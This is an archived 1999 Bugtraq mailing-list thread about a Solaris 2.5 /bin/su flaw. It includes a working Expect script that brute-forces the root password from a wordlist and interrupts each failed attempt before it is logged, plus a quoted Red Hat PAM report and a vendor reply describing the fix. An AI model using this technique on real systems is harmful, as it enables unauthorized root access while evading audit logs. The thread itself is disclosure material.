solaris.2.5.su.expect.txt

`Date: Thu, 10 Jun 1999 14:13:06 -0500  
From: Dr. Mudge <[email protected]>  
To: [email protected]  
Subject: Solaris 2.5 /bin/su [was: vulnerability in su/PAM in redhat]  
  
The same sort of problem existed in solaris /bin/su on 2.5 and below.  
  
The comments in the quick proof of concept sploit below should explain  
further [heh - almost as high a comment/code ratio as Hobbit's netcat  
source :) ].  
  
  
-----SNIP SNIP-----  
  
#!/usr/local/bin/expect --  
  
# A quick little sploit for a quick round of beers :) [email protected]  
  
#  
# This was something that had been floating around for some time.  
# It might have been bitwrior that pointed out some of the oddities  
# but I don't remember.   
#  
# It was mentioned to Casper Dik at some point and it was fixed in  
# the next rev of Solaris (don't remember if the fix took place in  
# 2.5.1 or 2.6 - I know it is in 2.6 at least).  
#  
# What happened was that the Solaris 2.5 and below systems  
# had /bin/su written in the following fashion :  
#  
# attempt to SU  
# |  
# succesfull  
# / \  
# Y N  
# | |  
# exec cmd sleep  
# |  
# syslog  
# |  
# exit  
#  
# There were a few problems here - not the least of which was that they  
# did not bother to trap signals. Thus, if you noticed su taking a while  
# you most likely entered an incorrect password and were in the  
# sleep phase.  
#  
# Sending a SIGINT by hitting ctrl-c would kill the process  
# before the syslog of the invalid attempt occured.  
#  
# In current versions of /bin/su they DO trap signals.  
#  
# It should be noted that this is a fairly common coding problem that  
# people will find in a lot of "security related" programs.  
#  
# .mudge  
  
  
if { ($argc < 1) || ($argc > 1) } {  
puts "correct usage is : $argv0 pwfile"  
exit  
}  
  
set pwfile [open $argv "r"]  
  
log_user 0  
foreach line [split [read $pwfile] "\n"] {  
spawn su root  
expect "Password:"  
send "$line\n"  
# you might need to tweak this but it should be ok  
set timeout 2  
expect {  
"#" { puts "root password is $line\n" ; exit }  
}  
set id [ exp_pid ]  
exec kill -INT $id  
}  
  
-----SNIP SNIP------  
  
cheers,  
  
.mudge  
---------  
For more advisories check out:  
http://www.L0pht.com/advisories.html [ That's L-zero-P-H-T ]  
---------  
  
  
On Wed, 9 Jun 1999, Tani Hosokawa wrote:  
  
> I was talking to some guy on IRC (st2) and he asked me to mention to  
> bugtraq (because he's not on the list) that the PAMified su that comes  
> with redhat has a slight hole. When you try to su to root (for example) if  
> it's successful, immediately gives you a shell prompt. Otherwise, it  
> delays a full second, then logs an authentication failure to syslog. If  
> you hit break in that second, no error, plus you know that the password  
> was bad, so you can brute force root's password. I wrote a little  
> threaded Perl prog that tested it (with a 0.25 second delay before the  
> break) to attack my own password (with my password in the wordlist) and it  
> seemed to work just fine, even with my own password hundreds of words down  
> in the list, so it seems pretty predictable, as long as the server's under  
> very little load (else you get a delay no matter what, and it screws the  
> whole process by giving false negatives).  
>  
> ---  
> tani hosokawa  
> river styx internet  
>  
  
------------------------------------------------------------------------------  
  
Date: Thu, 10 Jun 1999 22:40:51 +0200  
From: Casper Dik <[email protected]>  
To: [email protected]  
Subject: Re: Solaris 2.5 /bin/su [was: vulnerability in su/PAM in redhat]  
  
>The same sort of problem existed in solaris /bin/su on 2.5 and below.  
>  
>The comments in the quick proof of concept sploit below should explain  
>further [heh - almost as high a comment/code ratio as Hobbit's netcat  
>source :) ].  
  
  
The version of Solaris that fixed this made several changes;  
Instead of  
  
not trapping signals  
and Sorry/sleep/syslog  
  
the new version traps (some) signals and reorders the  
calls to syslog/sleep/Sorry.  
  
Of course, since you started the process you can still kill -9 it but  
you won't know whether you typed the right password until long after  
syslog() logged the bad "su".  
  
Casper  
  
  
`